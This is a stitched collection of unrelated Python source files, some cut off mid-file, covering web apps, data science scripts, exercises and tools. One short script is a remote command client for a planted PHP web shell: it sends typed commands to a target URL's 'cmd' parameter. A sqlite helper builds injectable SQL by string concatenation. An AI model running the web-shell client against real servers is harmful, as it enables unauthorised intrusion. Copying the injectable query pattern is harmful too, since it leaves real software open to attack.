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from sqlalchemy import Column, Integer, String, ForeignKey from sqlalchemy.orm import relationship, backref from petshop.database import Base from petshop.cliente.Cliente import Cliente from typing import Dict class Endereco(Base): __tablename__ = "enderecos" id_cliente = Column(Integer, ForeignKey(Cliente....
# # 9498. 시험성적 # score = int(input()) # A = { 10:"A", 9:"A", 8:"B", 7:"C", 6:"D" } # if score//10 in A.keys() : # print(A[(score//10)]) # else: # print("F") # # 10817. 세 수 # L = list(map(int,input().split())) # L.sort() # print(L[1]) # # 10871. X보다 작은 수 # import sys # N, X = map(int,sys.stdin.readlin...
from savannah.core.interpreter import AbstractBaseCommand as Command from savannah.core.app import App # # TODO: add types to the argument parsing to facilitate data processing and separate it from the logic # class Run(Command): verbose_name = 'run' help = "Run Savannah with configuration from settings.jso...
__author__ = 'Ofner Mario' from mao.reporting.structure.reporting_columns import ReportingColumn class ReportingTable(): # Key Column # Key Name and 0based ColumnIndex kc_name = None kc_index = None def __init__(self, column_list = None, key_column = None, header_rowheight = None, data_rowheigh...
#!/usr/bin/env python import sys import rospy import numpy as np from tf2_msgs.msg import TFMessage import tf import time import math from numpy.linalg import inv from artag_location.msg import AT_Message #def callback(): # listener = tf.TransformListener() # print listener # if not rospy.is_shutdown(): # try: # ...
"""Message object. """ import json import logging from typing import Dict, List, Optional, Any from .effects import Effect, EffectStatus, load_effect from .utils import gen_id, short_id from .logging import MessageLoggerAdapter logger = logging.getLogger(__name__) # Output pipeline effect statuses ST_NEW = 0 # not...
def main(): n = int(input()) mydictprev = {} mydict = {} num = [] arr_prev = list(map(int,input().split())) for each in arr_prev: if(mydictprev.get(each) == None): mydictprev[each] = 1 else: mydictprev[each] += 1 for i in range(0,2,1): arr = li...
import numpy as np import pandas as pd import dill from sklearn.model_selection import train_test_split, StratifiedKFold from sklearn.metrics import classification_report import warnings warnings.filterwarnings('ignore') def evaluate_preds(model, X_train, X_test, y_train, y_test): y_train_pred = model.predict(X...
# -*- coding: utf-8 -*- """ Created on Mon Jun 14 01:59:25 2021 @author: Dominikus Edo Kristian - 20083000121 """ jwb = "y" while jwb=="y" or jwb=="Y": print ("==========================") print(" CEK NILAI HURUF") print ("==========================") n=0 while int(n)>=0 and int(n)...
from PIL import Image import sys # multi_im = ["sikuliximage-1506129382287.png","sikuliximage-1506129382603.png","sikuliximage-1506129382921.png","sikuliximage-1506129383237.png"] im1 = Image.open(sys.argv[1]) #im1 = Image.open("sikuliximage-1506185019606.png") pixelMap = im1.load() im2 = Image.open(sys.argv[2]) #im...
from PIL import Image from mapImages import makeMapImage,getImage,getDraaiing,getColor,getShape import os import shutil # # Hier komt de code voor het genereren van die rij # # resize alle afbeeldingen van de map naar een 100,100 formaat global listOfMapItems global rijen global kolommen global xMax global yMax glob...
import os import sys from subprocess import run, PIPE class ImageParser(object): """ """ def __init__(self, image_file): if not os.path.exists(image_file): raise AttributeError("Incorrect image file. Image file not exists.") self.config_name = image_file def __read__(sel...
from r2.lib import amqp, websockets from reddit_liveupdate.models import ActiveVisitorsByLiveUpdateEvent def broadcast_update(): event_ids = ActiveVisitorsByLiveUpdateEvent._cf.get_range( column_count=1, filter_empty=False) for event_id, is_active in event_ids: if is_active: coun...
# list = [1,2,'google'] # print(list) # # print(list[2]) # # print(list[1:]) # # list.append(40) # print(list) # # list.remove('google') # print(list) # # print(max(list)) # print(min(list)) # list.append(0) # print(list) # list.sort() # print(list) # # list.sort(reverse=True) # print(list) list = ["India","Nepal","Ch...
# -*- encoding: utf-8 -*- """ Template testing suite for Application_2 - this is the TESTING SUITE, all tests are run from here """ import poc_simpletest # imports testing engine import _04_Application_2 as app_2 # imports the algorithms we are going to test import alg_upa_trial as upa import alg_module2_graph...
from django.contrib.auth.models import User from django.http import HttpResponseForbidden from django.shortcuts import render_to_response, get_object_or_404 from django.template import RequestContext from base_groups.models import BaseGroup, GroupMember from communities.models import Community from siteutils.shortcuts...
from django.test import TestCase from django.test.client import Client from django.utils import timezone class TestEntryView(TestCase): def setUp(self): self.client = Client() self.entry_title = 'Jimi hendrix sunshine of your love' self.entry = "It's getting near dawn,When lights close the...
# -*- coding: utf-8 -*- # @Time : 2017/4/13 16:30 # @Author : UNE # @Site : # @File : AdaBoosw.py # @Software: PyCharm # 《机器学习》(周志华)第八章8.3 """ 编程实现AdaBoosw,以不剪枝决策树为基学习器,在西瓜数据集3.0å上训练一个AdaBoosw集成,并于图8.4作比较 """ from tool import readxls import numpy as np import pandas as pd from dTree import dTree if __name_...
# -*- coding: utf-8 -*- # import inspect import sys import os import sphinx.environment from docutils.utils import get_source_line # from mock import Mock as MagicMock from sphinx.ext.autodoc import cut_lines # If extensions (or modules to document with autodoc) are in another directory, # add these directories to s...
import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("127.0.0.1", 8080)) server.listen(10) conn,addr = server.accept() with conn: res = conn.recv(1024) print(res.decode("utf-8")) conn.send(res) conn.close()
# SPDX-FileCopyrightText: 2020 - Sebastian Ritter <bastie@users.noreply.github.com> # SPDX-License-Identifier: Apache-2.0 ''' Created on 01.09.2020 @author: Sͬeͥbͭaͭsͤtͬian ''' from builtins import staticmethod from java.nio.file.FileSystem import FileSystem from java.lang.Object import Object from java.nio.file.File...
import socket # Import socket module import os from contextlib import redirect_stdout def processrequest(request): req = request.decode("utf-8") info = req.split(" ") req_resource = "" req_type = info[0] if len(info)>1: req_resource = info[1] print(req...
from ui.pages.inventory_page.SlotsGroup import SlotsGroup from game_objects.items import ItemTransactions class SlotMoveMaster: def __init__(self, gameRoot, page): self.gameRoot =gameRoot self.page = page self.moved_slot = None self.emty_icon = 'cha_page_elemnt_bg.png' def mov...
bill_price = int(input('Please enter bill total price : ')) number_of_diners = int(input('Please enter diners number : ')) print('the price for each person is {0}'.format(round(bill_price/number_of_diners,2)))
""" Search cell """ import os import torch import torch.nn as nn import numpy as np import time from tensorboardX import SummaryWriter from config import SearchConfig import utils from models.search_cnn import SearchCNNController from architect import Architect from visualize import plot from torchsampler import Imbala...
from __future__ import print_function import os import os.path as op import subprocess import sys import tempfile import pandas as pd from pysam import FastxFile from viruscope.tools import file_transaction, file_exists import math def readfx(fastx): if not file_exists(fastx): logger.critical("File Not F...
"""added locked param to Task model Revision ID: 3d21a9e6821c Revises: 041111f828b0 Create Date: 2016-06-21 15:34:11.361072 """ # revision identifiers, used by Alembic. revision = '3d21a9e6821c' down_revision = '041111f828b0' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto gene...
#!/usr/bin/env python import os import sys from subprocess import Popen, call from tempfile import TemporaryFile import env from run_unit_tests import run_unit_tests ROBOT_ARGS = ['--doc', 'SeleniumSPacceptanceSPtestsSPwithSP%(browser)s', '--outputdir', '%(outdir)s', '--variable', 'browser:%(browser)s', '--variable'...
import smtplib import time import uuid from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import confuse import requests from fastapi import FastAPI, HTTPException, BackgroundTasks from owslib.util import log from owslib.wps import WebProcessingService, WPSExecution from pydantic.types...
# faulty calculator program import random print('1. Addition(+) \n2. Subtration(-) \n3. Multiplication(*) \n4. Division(/) \n5. Modulus(%) \n6. Multiple(**) ' '\n7. Exit ') n = input('Enter your choice: ') while n != 'j': i = 0 n = int(n) if n == 1: x = int(input('Addition \nEnter...
#!/usr/bin/env python import matplotlib matplotlib.use('Agg') import ROOT import sys import os.path import matplotlib.pyplot as plt import matplotlib.backends.backend_pdf as pdf plt.rc('font', size = 14) PROCESSES = [ { 'WGamma' : { 'option' : 'selected', 'label' : r'W+$\gamma$', 'rank' : '...
''' Created on Dec 10, 2012 @author: mkiyer ''' import logging import argparse import sys import os import subprocess import pysam import oncoseq.rnaseq.lib.picard as picard from oncoseq.rnaseq.lib.config import STRAND_SUFFIX_DICT from oncoseq.rnaseq.lib.base import check_executable from oncoseq.rnaseq.lib.libtable ...
#Write a function permute to compute all possible permutations of elements of a given list. import itertools def permute(data): return list(itertools.permutations(data)) print permute([1,2,3,4])
# -*- coding: utf-8 -*- """Basic structure of a evaluator.""" import gc import logging import timeit from abc import ABC, abstractmethod from contextlib import contextmanager from dataclasses import dataclass from math import ceil from typing import Any, Collection, Iterable, List, Mapping, Optional, Tuple, Union, ca...
#!/usr/bin/env python3 class Solution(object): def exist(self, board, word): """ :type board: List[List[str]] :type word: str :rtype: bool """ if not board: return False for i in range(len(board)): for j in range(len(board[0])): ...
#Courtney Peterson #CSCI2244: Randomness and Computation from __future__ import print_function, division import numpy as np # this is a universal shorthand for numpy import matplotlib.pyplot as plt def run_lengths(n, p): """ This returns a list of the run lengths in n tosses of a coin whose heads probability is ...
from urllib2 import HTTPError from django.contrib.auth.decorators import login_required from django.http import HttpResponse, HttpResponseBadRequest, HttpResponseNotFound from django.views.decorators.csrf import csrf_exempt from django.conf import settings from myproject.gcm import beats from myproject.gcm.models imp...
#! /usr/bin/env python2 # -*- coding: utf-8 -*- # from string import Template import os import urllib2 class Menuentry(object): def __init__(self,menuentry,path,vmlinuz, options, initrd, chroot="/home/pxe/tftp/grub"): self.menuentry = menuentry self.path = path self.vmlinuz = vmlinuz ...
from django.http import HttpResponseNotAllowed, HttpResponse, HttpResponseForbidden from django.contrib.auth.decorators import login_required from django.shortcuts import get_object_or_404 from django.db.models import get_model from poster.encode import multipart_encode, MultipartParam from poster.streaminghttp import ...
import time import requests import sys if len(sys.argv) < 2: print "\n[!] Use: remote.py https://target.com/shel.php\n" sys.exit() i = sys.argv[1] print "~ Exploit To "+i print "" time.sleep(3) while True: try: c = raw_input("sxc@"+i+":~$ ") r = requests.get(i+"?cmd="+c) print r.text ...
""" 随机指定一个1到100之间的随机数, 给出一个数:大了,显示"太大了";小了,显示"太小了" 直到猜对为止,猜对之后显示猜了几次,并问还要继续猜吗? """ import random import sys while True: unkown_number = random.randint(1, 100) guess_count = 0 guess_flg = True while guess_flg: print("please input a number:") input_str = input() guess_count +=1 ...
# Implements db interfaces # Mostly contains code that are used internally only import pymysql as MySQLdb import pandas as pd class SeqDB(object): """ Motifmap SeqDB interface """ def __init__(self, dbp, ref): import motifmap.motifmapcore as motifmapcore import numpy as np print...
# -*- coding: utf-8 -*- """ Subcommands and helpers for bcfg2-info """ import os import sys import cmd import math import time import copy import pipes import fnmatch import argparse import operator import lxml.etree import traceback from code import InteractiveConsole import Bcfg2.Logger import Bcfg2.Options import B...
from flask import Flask, render_template, request, json import numpy as np import pandas as pd MyApp = Flask(__name__) df = pd.read_csv('static/data/master_ho_v2.csv'); def getUni(df, fed, col): mean_cols = ['ndip_n', 'nent_n', 'nequ_n'] if fed == 'all': if col in mean_cols: ret...
import matplotlib.pyplot as plt import numpy as np def plot2d(rays, sli='xz'): def plot_ray(ray): ra = np.concatenate([np.atleast_3d(ri.p0) for ri in ray], 2) #ra = np.array([ri.p0 for ri in ray]) if not ray[-1].p1 == None: ra = np.concatenate([ra, np.atleast_3d(ray[-1].p...
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Created on Apr 4, 2020 .. codeauthor: svitlana vakulenko <svitlana.vakulenko@gmail.com> Transformer for sequence classification with a message-passing layer ''' import gc import torch import torch.nn as nn from torch.nn import CrossEntropyLoss, MSELoss from tra...
"""web_access.py""" import aiohttp import asyncio import logging from typing import List from itertools import islice from devices import Device logger = logging.getLogger('itl_mismatch_detector') loop = asyncio.get_event_loop() async def test_web_access(registered_devices: List[Device], max_parallel_connections:int...
rock = ''' _______ ---' ____) (_____) (_____) (____) ---.__(___) ''' paper = ''' _______ ---' ____)____ ______) _______) _______) ---.__________) ''' scissors = ''' _______ ---' ____)____ ______) __________) (____) ---.__(___) ''...
#!/usr/bin/python # -*- coding: utf-8 -*- import sqlite3 def getAllRecord(table,c): rq = "select * from " +table+" order by id desc" return c.execute(rq) def getRecord(table,idt,c): rq = "select * from " +table+ " where id = '"+str(idt)+"'" return c.execute(rq) #return c.fetchall def createNe...
#!/bin/python3 import math import os import random import re import sys # Complete the decentNumber function below. def decentNumber(n): threes=n while(threes%3!=0): threes=threes-5 if threes<0: print(-1) return print(('5'*threes+'3'*(n-threes))) if __name__ == '...
from ztag.annotation import * class FoxBrand(Annotation): port = 1911 protocol = protocols.FOX subprotocol = protocols.FOX.DEVICE_ID _vendors = { "vykon": (Manufacturer.VYKON, Type.SCADA_CONTROLLER), "facexp": (Manufacturer.FACEXP, Type.SCADA_CONTROLLER), "websopen": (Manufac...
import sys from utils import * import tensorflow as tf tf.InteractiveSession for x in range(1,len(sys.argv)): arg = sys.argv[x] features, labels = readFromCSV(arg) print(features["Home Score"].shape) # Define a and b as placeholders a = tf.placeholder(dtype=tf.int32) b = tf.placeholder(dtype=t...
import click import pokeit import checkit import settings import sys @click.command() @click.option('-uq', help='unique part of @id uri') @click.option('-s', help='success criteria file') @click.argument('template', type=click.File('rb')) def main(uq, s, template): """Simple DLCS pipeline tester""" exit_code...
#enmaneul hernandez #movie trailer website #part of code are from udacity learning material import webbrowser #class that make the blueprint for movie objects class Movie(): """This calss provides a way to store movie related information""" VALID_RATINGS = ["G", "PG", "PG-13", "R"] #constant variable. def __init__(...
from .abstract_request import AbstractRequest, AbstractRequestCodec class RequestGetDetails(AbstractRequest): opcode = 0x22 def __init__(self): pass class RequestGetDetailsCodec(AbstractRequestCodec): @staticmethod def encode(request): return b'' @staticmethod def decode(pa...
path = 'scripts/increment_data_load.sql' try: open(path, 'w').close() except IOError: print('Failure') import requests url = "https://covidtrackerapi.bsg.ox.ac.uk/api/v2/stringency/date-range/2021-01-01/2021-08-01" response = requests.get(url, headers={'Accept':'application/json'}) data = response.json() da...
# 특정 거리의 도시찾기 - BFS문제 p339 from collections import deque n,m,k,x = map(int , input().split()) data = [[]for _ in range(n+1)] for _ in range(m): a,b = map(int , input().split()) data[a].append(b) distance = [-1]*(n+1) distance[x] = 0 #최단 거리 갱신 queue = deque([x]) while queue : now = queue.popleft() for next...
from django.conf.urls import url from . import views urlpatterns = [ url( r"^(?P<slug>[a-z0-9-_]+?)-(?P<upload_id>[0-9]+)/$", views.product_details, name="details", ) ]
# server functions import datetime as dt drinks=[] d_cost=[] food=[] f_cost=[] def order_menu(): global drinks,food,d_cost,f_cost with open ("menu.dat","r") as file: data=file.readlines() drinks = eval(data[0]) d_cost = eval(data[1]) food = eval(data[2]) f_cost = eval(d...
import uuid from django.contrib.auth.models import AbstractUser from django.core.urlresolvers import reverse from django.db import models from phonenumber_field.modelfields import PhoneNumberField class User(AbstractUser): token = models.UUIDField(unique=True, default=uuid.uuid4, editable=False) def dictif...
import pygame, sys # inicializando librerias pygame.init() #inicializando pygame #DEFINIR COLORES BLACK = (0,0,0) WHITE = (255,255,255) GREEN = (0,255,0) RED = (255,0,0) BLUE = (0,0,255) size = (800, 500) #definir tamaño #crear ventana screen = pygame.display.set_mode(size) #Controlar el reloj del progra...
import constraint def o1(x,y,z): if x+y+z == 38: return True def o2(x,y,z,w): if x+y+z+w == 38: return True def o3(x,y,z,w,h): if x+y+z+w+h == 38: return True problem = constraint.Problem() problem.addVariables("ABCDEFGHIJKLMNOPQRST", range(1,38)) problem.addConstraint(constraint....
# 1. 삽입 정렬 (insertion sort) # - 삽입 정렬은 ★두 번째 인덱스★부터 시작 # - 해당 인덱스(key 값) 앞에 있는 데이터(B)부터 비교해서 # key 값이 더 작으면 B값을 뒤 인덱스로 복사 # - 이를 key 값이 더 큰 데이터를 만날때까지 반복, 그리고 큰 데이터를 만난 위치 # 바로 뒤에 key 값을 이동 # 참고 : https://visualgo.net/en/sorting # 이해 : https://goo.gl/XKBXuk # # 2. 알고리즘 구현 # def insertion_sort(data): # for ind...
num = 1 for i in range(1, 6): # Controla el número de filas for j in range(1, 6 - i): # Imprime espacios en blanco print(" ", end="") for j in range(1, i + 1): # Imprime números print(num, end=" ") num += 1 if num > 10: # Detiene la secuencia al llegar a 10 ...
#!/c/Python/python.exe # -*-coding:utf-8 -* from random import * #prend une ligne aleatoire dans le fichier 'fichier' #attention: la premiere ligne est une excepetion du fait du \n def lire_fichier_sudoku(fichier,ligne): with open(fichier,'r') as mon_fichier: texte=mon_fichier.read() nombres = l...
import pandas as pd import json import os.path TEXT_EXTENSION = ".txt" TRUTH_EXTENSION = ".truth" PROBLEM_PREFIX = "problem-" DIR = "../training_external/" TEXT_AS_INDEX = "text" POSITION_AS_INDEX = "positions" ITERATIONS = 300000 # it depends on the total number of files FEATHER_FILE = "external_data_feather" skele...
import os import random import torch import torch.nn as nn import torch.nn.functional as F import torch.nn.parallel import torch.backends.cudnn as cudnn import torch.optim as optim import torch.utils.data from torchvision import datasets import torchvision.transforms as transforms import torchvision.utils as vutils im...
from pygame.locals import * import pygame.camera pygame.init() pygame.camera.init() cam = pygame.camera.Camera("/dev/video0", (320, 180)) import io import os from google.cloud import vision from google.cloud.vision import types os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = "vision.json" client = vision.ImageAnnota...
import numpy as np import matplotlib.pyplot as plt import xlwt import sys import numpy as np from sklearn import preprocessing, cross_validation, svm from sklearn.linear_model import LinearRegression data=np.load(sys.argv[1]).item() #data2=np.load('/Users/47510753/Documents/side_projects/B_final.npy').item() #data['...
import subprocess, re import os, platform def tokenize(string): return ' '.join(list(x.lower() for x in \ re.findall(r'[A-Za-z0-9\']+', string))) def score_sclite(hyp, ref): _ref = tokenize(ref) _hyp = tokenize(hyp) #print (hyp) #print (...
import os import sys sys.path.append('../../../') import pandas as pd from dependencies import * from settings import * from reproducibility import * from models.TGS_salt.Unet34_scSE_hyper import Unet_scSE_hyper as Net import pickle from tqdm import tqdm from bunny import bunny mode = "100models_weighted" TUNE=True df...
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class EsignResult(object): def __init__(self): self._agreement_id = None self._agreement_url = None self._apply_dutiable_mode_enum = None self._contractor_code = None ...
# coding: UTF-8 # !/usr/bin/env python import os import common, constants from PyQt4 import QtCore, QtGui from editor import Editors, CodeEditor, SqlDatabaseDialog, ConnectionListDocker from settings import Setting class MainWindow(QtGui.QMainWindow): def __init__(self, parent=None): super(...
N = int(input()) def median(N): N.sort() if len(N) % 2 == 0: return (N[len(N) / 2] + N[len(N) / 2 + 1]) / 2 else: return N[(len(N) + 1) / 2] Xl = [] for i in range(N): A, B = map(int, input().split()) X = list(range(A, B + 1)) Xl.append(X) print(Xl)
# from visual import * from visual.graph import * import random Minx = 0 # min value x axis Maxx = 200 # max value x axis Miny = 0 # for y axis Maxy = 60 g = gdisplay(width=500, ...
{ "id": "mgm4458721.3", "metadata": { "mgm4458721.3.metadata.json": { "format": "json", "provider": "metagenomics.anl.gov" } }, "providers": { "metagenomics.anl.gov": { "files": { "100.preprocess.info": { ...
import os, csv from loam import FPGA from ..lattice import Lattice from .gpio import Pin, GPIO from .clock import Clock from .usart import USART __all__ = ['ICE40HX1K', 'ICE40HX8K'] __all__ += ['ICE40LP1K', 'ICE40LP8K'] __all__ += ['ICE40UP5K'] class HX(Lattice): family = 'ice40' def __init__(self, name, b...
import os import sys import django # 单独使用django的model 也就是如何配置文件,可以直接连接数据库使用model导入数据 pwd = os.path.dirname(os.path.abspath(__file__)) sys.path.append(pwd+"../") # 应用manage.py中的代码:将用到setting中的数据库的配置,因为我们要将category_data中的数据导入数据库 os.environ.setdefault("DJANGO_SETTINGS_MODULE", "FoodMarket.settings") django.setup() # ...
# Given a list_of_ints, find the highest_product you can get from three of the integers. # The input list_of_ints will always have at least three integers. list_of_ints = [2, -5, -1, -17, -8 , 1, 21, 200] def highest_product_of_3(input): selected = [input[0],input[1],input[2]] product = selected[0] * selected...
# section06 / 01-obj1.py # 클래스 선언 class Member1: userid = "python" email = "webmaster@soldesk.com" phone = "01012345678" # 객체 선언 mem1 = Member1() print(mem1.userid) print(mem1.email) print(mem1.phone) # 객체 선언 mem2 = Member1() print(mem2.userid) print(mem2.email) print(mem2.phone) print() # 함수를 내장하는...
#!/usr/bin/env python """Run nosetests in the diesel event loop. You can pass the same command-line arguments that you can pass to the `nosetests` command to this script and it will execute the tests in the diesel event loop. This is a great way to test interactions between various diesel green threads and network-ba...
"""Removes unused functions.""" def reachable(func, reachable_funcs, id_to_func): """Recursively mark functions reachable from func.""" reachable_funcs.add(func) for inst in func.instructions(): if inst.op_name == 'OpFunctionCall': called_func = id_to_func[inst.operands[0]] ...
# coding:utf-8 __author__ = 'cwang14' from queue import PriorityQueue from typing import List class Solution: def Manhattan(self, s1, s2): '''估值函数''' dist = 0 # 所有元素距离他们应该在的位置的距离之和作为估值指标 for i1, d in enumerate(s1): i2 = s2.index(d) dist += abs(i1 // 3 - i2 // 3) ...
class Animal(object): def __init__(self, name, health): self.name = name self.health = health print self.name def walk(self): self.health -= 1 return self def run(self): self.health -= 5 return self def display_health(self): print self.health class Dog(Animal): def __init__(self, name): super(Dog...
import sys import os import gitmer repos_lst_file = sys.argv[1] mappingscache_xml_file = sys.argv[2] f = open(repos_lst_file, "r") repos = [] for x in f.readlines(): x = x.strip('\r') x = x.strip('\n') repos.append(x) f.close() if os.path.isfile(mappingscache_xml_file): mappings = gitmer.generate_map...
import pandas as pd colnames = ["SectorStatID", "SectorStatName", "PersID", "Age", "GenderID", "GenderName", "HouseholdID", "HouseholdTypeID", "HouseholdTypeName", "WorkerID", "WorkerType", "WorkSectorStatID", "WorkSectorStatName"] student = pd.DataFrame(columns=colnames) unif_fr = pd.read_csv('unif_fr_hors_bx...
"""empty message Revision ID: 5c5792caf593 Revises: 13a3da0db2d2 Create Date: 2016-03-12 16:14:17.557226 """ # revision identifiers, used by Alembic. revision = '5c5792caf593' down_revision = '13a3da0db2d2' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - ...
import os import sys import socket import select import time # Get user input gammaIP = str(sys.argv[1]) gammaPort = int(sys.argv[2]) trollPort= int(sys.argv[3]) fileName = str(sys.argv[4]) # Defining Cnstants timeout = 1.5 HOST = '' PORT = 4001 header = b'' data = b'' flag = 1 sequenceNumber = 0 CHUNK_SIZE = 1000 ga...
#!/usr/bin/env python ''' this module will submit a job to the queue when a calculation is called. Use this in a script like this: from ase import * from Jacapo import * from htp.queue_qn import * Jacapo.qsuboptions = '-l cput=23:00:00,mem=499mb -joe -p -1024' Jacapo.calculation_required = calculation_required Jacapo....
# Exercise 6, string formatting and regular expressions import re import os script_dir = os.path.dirname(__file__) rel_path = "postcodes.txt" abs_file_path = os.path.join(script_dir, rel_path) infile = open(abs_file_path, 'r') valid_file_path = os.path.join(script_dir, 'validpc.txt') valid = open(valid_file_path).rea...
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import base64 from binascii import hexlify, unhexlify try: ModuleNotFoundError except: ModuleNotFoundError = ImportError try: from .ecmath import * from .hexhashes import * from .base58 import * from .miscfuncs import * from .miscbi...
# Esercizio n. 9 # Trovare i numeri primi in una lista di numeri da 1 fino a 20. lista = [8, 1, 3, 5, 4, 9, 20, 12, 15, 11, 2, 19, 10, 13] for num in lista: primo = True i = 2 while i < num: if num % i == 0: primo = False i = i + 1 if primo: print("Il numero", num, ...
"""Encoder for snap-plugin-publisher-kafka.""" try: import ujson as json except ImportError: import json import logging import datetime import time try: # Test for mypy support (requires Python 3) from typing import List, Text except: pass class Encoder(object): """. An encoder for the s...
""" 第2章SSDで予測結果を画像として描画するクラス """ import numpy as np import matplotlib.pyplot as plt import cv2 # OpenCVライブラリ import torch import time from utils.dataset import DatasetTransform as DataTransform import torch.nn as nn class SSDPredictShow(nn.Module): """SSDでの予測と画像の表示をまとめて行うクラス""" def __init__(self, eval_cate...
import os import pika import json import time import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler from inspect import getmembers from pprint import pprint from werkzeug.utils import secure_filename from .lib.video import Video from .config import endpoints_config ...
""" TheGraph.py Last Modified: 5/26/2020 Taha Arshad, Tennessee Bonner, Devin Mensah, Khalid Shaik, Collin Vaille This file is responsible for implementing all operations related to graphing. This includes both the trial graph and the real-time voltage "bar graph". Graphing operations inclu...
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index), url(r'^ninjas$', views.turtles), url(r'^ninjas/(?P<color>\S+)$', views.ninjacolor) ]
# Generated by Django 3.1.4 on 2020-12-18 08:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('article', '0003_comment'), ] operations = [ migrations.CreateModel( name='paket', fields=[ ('id', mo...
s,n=input().split() n=int(n) for i in range(0,len(s)): print(s[i:n],end=" ") if(n<len(s)): n=n+1 else: break
shoppinglist = ['Milk','Cheese','butter'] print(shoppinglist) # in operator print('Milk' in shoppinglist) # loop for i in range(len(shoppinglist)): shoppinglist[i] = shoppinglist[i] print(shoppinglist[i])